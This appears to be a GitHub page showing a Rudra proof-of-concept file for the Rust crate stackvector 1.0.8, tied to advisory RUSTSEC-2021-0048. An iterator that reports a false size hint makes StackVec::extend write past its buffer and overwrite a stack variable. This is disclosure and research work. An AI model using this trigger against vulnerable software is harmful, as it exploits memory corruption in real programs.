-
Notifications
You must be signed in to change notification settings - Fork 4
/
0146-stackvector.rs
62 lines (51 loc) · 1.24 KB
/
0146-stackvector.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/*!
```rudra-poc
[target]
crate = "stackvector"
version = "1.0.8"
[report]
issue_date = 2021-02-19
issue_url = "https://github.com/Alexhuszagh/rust-stackvector/issues/2"
rustsec_url = "https://github.com/RustSec/advisory-db/pull/847"
rustsec_id = "RUSTSEC-2021-0048"
[[bugs]]
analyzer = "UnsafeDataflow"
bug_class = "HigherOrderInvariant"
rudra_report_locations = ["src/lib.rs:896:5: 920:6"]
```
!*/
#![forbid(unsafe_code)]
use stackvector::StackVec;
// An iterator that reports an incorrect size hint.
// -----
struct IncorrectIterator(u32);
impl IncorrectIterator {
pub fn new() -> Self {
IncorrectIterator(0)
}
}
impl Iterator for IncorrectIterator {
type Item = u8;
fn next(&mut self) -> Option<Self::Item> {
self.0 += 1;
if (self.0 >= 20) {
None
} else {
Some(0x41)
}
}
fn size_hint(&self) -> (usize, Option<usize>) {
let lower_bound = 20;
let upper_bound = Some(0);
(lower_bound, upper_bound)
}
}
// -----
fn main() {
let mut stack_vec = StackVec::<[u8; 4]>::new();
let i: i32 = 42;
// Causes a stack overflow overwriting i.
stack_vec.extend(IncorrectIterator::new());
println!("i: {}", i);
assert!(i == 42);
}